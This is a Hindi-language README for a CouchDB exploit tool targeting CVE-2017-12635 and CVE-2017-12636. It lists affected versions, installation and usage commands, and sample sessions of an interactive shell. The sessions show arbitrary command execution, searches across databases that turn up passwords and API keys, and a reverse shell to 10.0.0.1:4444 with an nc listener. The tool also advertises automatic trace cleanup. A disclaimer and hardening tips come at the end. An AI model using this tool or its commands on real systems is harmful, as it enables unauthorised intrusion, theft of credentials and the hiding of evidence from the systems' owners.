
विशेषाधिकार वृद्धि और RCE के लिए CouchDB CVE-2017-12635/12636 का शोषण करता है, फिर कमांड निष्पादन, डेटाबेस ब्राउज़िंग और रिवर्स शेल के साथ एक इंटरैक्टिव शेल प्रदान करता है।
यह टूल Apache CouchDB में दो गंभीर कमज़ोरियों का शोषण करता है:
| CVE | विवरण | गंभीरता |
|---|---|---|
| CVE-2017-12635 | JSON पार्सिंग बायपास के माध्यम से विशेषाधिकार वृद्धि | 🔴 गंभीर |
| CVE-2017-12636 | क्वेरी सर्वर के माध्यम से रिमोट कोड निष्पादन | 🔴 गंभीर |
| संस्करण | कमज़ोर | ठीक किया गया संस्करण |
|---|---|---|
| Apache CouchDB < 1.7.0 | ✅ हाँ | 1.7.0 |
| Apache CouchDB 1.x.x | ✅ हाँ | 1.7.0 |
| Apache CouchDB 2.0.0 | ✅ हाँ | 2.1.1 |
| Apache CouchDB 2.1.0 | ✅ हाँ | 2.1.1 |
| Apache CouchDB ≥ 2.1.1 | ❌ नहीं | - |
curl http://target:5984/
✨ विशेषताएँ
✅ स्वचालित शोषण - सब कुछ नियंत्रित करने के लिए एक कमांड
✅ इंटरैक्टिव शेल - उपयोगकर्ता-अनुकूल कमांड इंटरफ़ेस
✅ डेटाबेस व्यूअर - सभी डेटाबेस और दस्तावेज़ ब्राउज़ करें
✅ पूर्ण JSON प्रदर्शन - संपूर्ण दस्तावेज़ सामग्री देखें
✅ वैश्विक खोज - सभी डेटाबेस में कीवर्ड खोजें
✅ सिस्टम कमांड - लक्ष्य पर मनमाने कमांड निष्पादित करें
✅ रिवर्स शेल - पूर्ण इंटरैक्टिव शेल प्राप्त करें
✅ कमांड इतिहास - अपने कार्यों का ट्रैक रखें
✅ स्वचालित सफ़ाई - शोषण के बाद निशान हटाएँ
✅ रंगीन आउटपुट - पढ़ने और समझने में आसान
📦 इंस्टॉलेशन पूर्वापेक्षाएँ bash
python3 --version
क्लोन और इंस्टॉल करें bash
git clone https://github.com/darabium/couchdb-exploit.git
cd couchdb-exploit
python3 -m venv myenv
source myenv/bin/activate
pip install -r requirements.txt
आवश्यकताएँ txt
requests>=2.25.0 urllib3>=1.26.0
🚀 उपयोग बुनियादी उपयोग bash
python3 couchdb-exploit.py -t <TARGET_IP> -p <PORT>
python3 couchdb-exploit.py -t 192.168.1.100 -p 5984
कमांड लाइन विकल्प bash
python3 couchdb-exploit.py -h
usage: couchdb-exploit.py [-h] -t TARGET [-p PORT]
arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target IP address or hostname
-p PORT, --port PORT Target port (default: 5984)
💻 कमांड्स
एक बार एक्सप्लॉइट होने के बाद, आपके पास एक इंटरैक्टिव शेल होगा: Command Description Example db Show all databases with document counts db view View ALL documents in a database (full JSON) view passwords raw Show raw server response raw admin count Count documents in a database count users search Search for a keyword in ALL databases search admin exec Execute a system command exec whoami reverse Setup reverse shell reverse 10.0.0.1 4444 history Show command history history help Show this menu help exit Exit with cleanup exit 📊 उदाहरण
couchdb> db
[+] 39 databases:
_replicator (0 docs)
_users (12 docs)
admin (5 docs)
passwords (25 docs)
core-configuration (8 docs) ...
डेटाबेस सामग्री देखें bash
couchdb> view passwords
[*] Total documents: 25
couchdb> search password
✅ Found in 'passwords' ID: user1 Content: { "username": "root", "password": "rootpass123" }
✅ Found in 'config' ID: app_settings Content: { "db_password": "secret123", "api_key": "sk_live_abc123" }
couchdb> exec whoami [+] Executing: whoami [+] Command executed!
couchdb> exec id [+] Executing: id [+] Command executed!
nc -lvnp 4444
couchdb> reverse 10.0.0.1 4444 [+] 10.0.0.1:4444 पर रिवर्स शेल सेट किया जा रहा है [!] सुनिश्चित करें कि लिसनर चल रहा है: nc -lvnp 4444 [?] जारी रखें? (y/n): y [+] रिवर्स शेल ट्रिगर हो गया!
🖼️ स्क्रीनशॉट एक्सप्लॉइट क्रियान्वयन में
https://via.placeholder.com/800x400?text=Exploit+Demo+Screenshot डेटाबेस दृश्य
https://via.placeholder.com/800x400?text=Database+View रिवर्स शेल
https://via.placeholder.com/800x400?text=Reverse+Shell ⚠️ अस्वीकरण
महत्वपूर्ण: यह टूल केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए है।
🚫 स्पष्ट अनुमति के बिना सिस्टम पर इसका उपयोग न करें
🚫 लेखक किसी भी दुरुपयोग के लिए ज़िम्मेदार नहीं है
🚫 केवल नियंत्रित वातावरण या अपने स्वयं के सिस्टम पर उपयोग करें
✅ परीक्षण से पहले हमेशा लिखित प्राधिकरण प्राप्त करें
✅ ज़िम्मेदार प्रकटीकरण प्रथाओं का पालन करें
इस टूल का उपयोग करके, आप इन शर्तों से सहमत होते हैं। 🔐 सुरक्षा सुझाव
यदि आप एक सिस्टम प्रशासक हैं:
तुरंत CouchDB ≥ 1.7.0 या ≥ 2.1.1 में अपग्रेड करें
पोर्ट 5984 तक पहुँच को प्रतिबंधित करने के लिए फ़ायरवॉल का उपयोग करें
प्रमाणीकरण सक्षम करें और मज़बूत पासवर्ड का उपयोग करें
संदिग्ध गतिविधि के लिए लॉग की निगरानी करें
अपने बुनियादी ढाँचे का नियमित सुरक्षा ऑडिट
त्वरित समाधान bash
sudo apt-get update sudo apt-get install couchdb=2.1.1 # या नवीनतम संस्करण
sudo ufw allow from 192.168.1.0/24 to any port 5984
📚 संदर्भ
CVE-2017-12635 - NVD
CVE-2017-12636 - NVD
Apache CouchDB सुरक्षा
Exploit-DB
👤 लेखक
darabium
GitHub: @darabium
Telegram: @darabium
⭐ समर्थन
यदि आपको यह उपयोगी लगे:
⭐ रिपॉज़िटरी को स्टार करें
🐛 समस्याओं की रिपोर्ट करें
🔧 सुधारों में योगदान करें
📢 दूसरों के साथ साझा करें
📄 लाइसेंस
यह प्रोजेक्ट MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है - विवरण के लिए LICENSE फ़ाइल देखें।
सुरक्षा अनुसंधान के लिए ❤️ के साथ बनाया गया
⬆ शीर्ष पर वापस जाएँ